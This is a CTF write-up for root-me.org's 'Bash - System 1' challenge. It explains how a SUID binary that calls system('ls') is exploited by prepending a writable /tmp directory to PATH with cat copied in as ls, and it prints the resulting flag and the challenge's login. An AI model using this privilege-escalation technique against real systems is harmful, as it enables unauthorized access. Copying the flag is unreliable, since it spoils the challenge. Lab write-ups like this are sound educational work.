Cecil Daemon

cecil@celestial:/bash-system-1-root-me $


Bash - System 1 - root-me.org

Estimated read time: 8 minutes

Introduction

Root-me is a CTF website that tries to gamify learning topics by giving different types of challenges across many different areas in cybersecurity. This was one of my first contacts with CTFs, back in December 2022. Since I had already solved some of the challenges at that time, I decided to go back to re-solve them, and give them a proper write-up this time (why not?)

The categories on the website are under the challenges tab. In this post, we’ll be solving the App Script category’s Bash System 1, the very first challenge. Let’s jump right into it!

Challenge description

Differently from Pwnable, the challenges under Root-me display a ‘Statement’ and ‘Connection information’. The ‘Statement’, usually composed of the CTF objective, showcases a script to which we need to exploit. The source code is already available even before sshing:

    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
     
    int main(void)
    {
        setreuid(geteuid(), geteuid());
        system("ls /challenge/app-script/ch11/.passwd");
        return 0;
    }

To connect to the room, we need to SSH or use their WebSSH. I’d much rather use SSH from my local machine, though their WebSSH also works. The command for this challenge is:

ssh -p 2222 app-script-ch11@challenge02.root-me.org

and the password is app-script-ch11.

Approach mindset

Although this is a different CTF website, we will use the same approach mindset we have been using so far. This not only helps us to maintain a certain organized step-by-step to solve CTFs, but also actually increases the probability of learning how to engage in any kind of hacking-related topic.

In this CTF, the first thing we can understand by looking at the C code above is that there is probably a file .passwd inside /challenge/app-script/ch11 directory. The code seems to be using system to run the ls command at the file.

Step 1 - Understanding basic concepts

What are the basic concepts in this CTF? Well, in our case here, this will simply be to investigate what the functions used in the above script are for. For that matter, we will need to do a little C programming research.

setreuid

According to the Linux manual page, this function takes two unsigned integer arguments: the real user id and the effective user id. Put in simple Linux terms, the ‘real user id’ is who you really are within the system (the one who owns the process); while the ‘effective user id’ is what the operating system looks at to make a decision whether or not you are allowed to do something.

Here’s a break down of what the function does, according to the Linux manual page:

Unprivileged processes may only set the effective user ID to the real user ID, the effective user ID, or the saved set-user-ID.

Unprivileged users may only set the real user ID to the real user ID or the effective user ID.

If the real user ID is set (i.e., ruid is not -1) or the effective user ID is set to a value not equal to the previous real user ID, the saved set-user-ID will be set to the new effective user ID.

The two arguments provided by the code are the same: geteuid(). According to the Linux manual page:

geteuid() returns the effective user ID of the calling process.

This basically means that whoever owns the above C script, the code will run it as that owner (and its privileges).

system

This function passes a command name or program name specified by a string to the host environment. The command processor then executes the passed command and returns after it has been completed.

Linking with the previous function: the code interprets the script/binary owner’s privileges and runs the command with those privileges.

Step 2 - Understanding the problem

Now that we understand the basic concepts of this CTF script, we are ready to broaden our view by relating it to the actual CTF. Let’s ssh into the machine and take a look around using the ls -la command:

app-script-ch11@challenge02:~$ ls -la
total 36
dr-xr-x---  2 app-script-ch11-cracked app-script-ch11 4096 Dec 10  2021 .
drwxr-xr-x 25 root                    root            4096 Sep  5 14:00 ..
-r--------  1 root                    root             775 Dec 10  2021 ._perms
-rw-r-----  1 root                    root              43 Dec 10  2021 .git
-r--------  1 app-script-ch11-cracked app-script-ch11   14 Dec 10  2021 .passwd
-r--r-----  1 app-script-ch11-cracked app-script-ch11  494 Dec 10  2021 Makefile
-r-sr-x---  1 app-script-ch11-cracked app-script-ch11 7252 Dec 10  2021 ch11
-r--r-----  1 app-script-ch11-cracked app-script-ch11  187 Dec 10  2021 ch11.c

followed by this command:

app-script-ch11@challenge02:~$ whoami && groups app-script-ch11
app-script-ch11
app-script-ch11 : app-script-ch11 users

The output of these commands tell us we are part of most files’ group, but are not the app-script-ch1-cracked user. As a consequence, we are not able to read the contents of .passwd, unless we somehow acquire the app-script-ch11-cracked user’s priveleges.

We can, however, execute the ch11 binary, with a possible exploitation of the setreuid and system functions. Note that the binary ch11 has the SUID bit set, meaning that when running, it’ll assume the owner’s file effective user id.

The SUID bit set is a special permission that applies to scripts or applications. If the SUID bit is set, the script/application effective’s UID becomes that of the owner of the file, instead of the user running it.

However, this only results in running the ls command, which is useless in this case. Ideally, we would want the command inside the system function to be cat.

The key to solve this problem is to trick the program into thinking it ran ls command, but actually runs the cat command. There are a few ways we can try to do this, and that’s what we will discuss next.

Step 3 - Crafting the attack

Let’s try to solve the challenge by applying what we’ve learned so far and putting into test our assumption of tricking the program to run cat instead of ls. First, let’s see where the ls command is being run:

app-script-ch11@challenge02:~$ which ls
/bin/ls

followed by the $PATH variable:

app-script-ch11@challenge02:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/

Ok. This tells us the ls command is being run under the /bin path. But what if we had another ls command referenced in our $PATH variable? If the order of our new ls command path comes first then the /bin path, then the system will prioritize that path instead.

I doubt we have write permissions in any of these paths, so we might as well find a directory that we can write a maliciously crafted ls command AND that this new path is added to our $PATH variable, listed before the /bin path.

An usual choice for that is the /tmp directory, which usually gives write permissions to any user:

app-script-ch11@challenge02:~$ mkdir /tmp/cecil-daemon
app-script-ch11@challenge02:~$ cd /tmp/cecil-daemon && ls -la
total 0
drwxr-x---   2 app-script-ch11 app-script-ch11   40 Dec  5 01:17 .
drwxrwx-wt 256 root            root            7220 Dec  5 01:17 ..

We successfully created a directory inside /tmp and, as we can see, we have write permissions on it. Now, we want to add this new directory to our path variable:

app-script-ch11@challenge02:/tmp/cecil-daemon$ export PATH=/tmp/cecil-daemon:$PATH
app-script-ch11@challenge02:/tmp/cecil-daemon$ echo $PATH
/tmp/cecil-daemon:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/

Amazing! Our new directory /tmp/cecil-daemon is now under the $PATH variable, and it is listed before /bin. Now, we need to create a binary called ls that instead of having the ls command, it has the cat command. Let’s try it out!

Step 4 - Solving!

We need to check where the cat command is being executed from. This can be achieved by running:

app-script-ch11@challenge02:/tmp/cecil-daemon$ which cat
/bin/cat

My first attempt to craft a malicious ls is by simply copying the cat binary from /bin to /tmp/cecil-daemon under the name of ls. This should force the ls to always run the cat command instead.

app-script-ch11@challenge02:/tmp/cecil-daemon$ cp /bin/cat ./ls 

As a test, we can run our malicious ls to read a file’s contents:

app-script-ch11@challenge02:/tmp/cecil-daemon$ echo "test" > test.txt
app-script-ch11@challenge02:/tmp/cecil-daemon$ ./ls test.txt
test

It seems to be working! Now, let’s go back to our home directory and run the binary. If everything was done correctly, we will be able to see the contents of .passwd:

app-script-ch11@challenge02:/tmp/cecil-daemon$ cd - 
/challenge/app-script/ch11
app-script-ch11@challenge02:~$ ./ch11
!oPe96a/.s8d5

We did it! Enjoy the feeling of owning and tricking a system!

Conclusion

In this CTF, we learned a bit more about system misconfigurations and misuse of C functions. We started by understanding the core concepts used by the challenge script, then we tackled the problem by understanding how we could exploit it.

After grasping the nature of the CTF, we needed to create an attack vector. In our case, this was possible because we had write permissions in the /tmp directory and access to change the $PATH variable to our own gains. By combining these misconfigurations with a little out-of-the-box thinking, we crafted a malicious ls command that mimicked the cat command - the one we wanted to use.

It’s always good practice to understand what’s happening before jumping into testing. This approach makes things easier and often clarifies the solution.

Thanks for sticking ‘til the end. I hope you learned something new today! And remember, always do your research!

Go back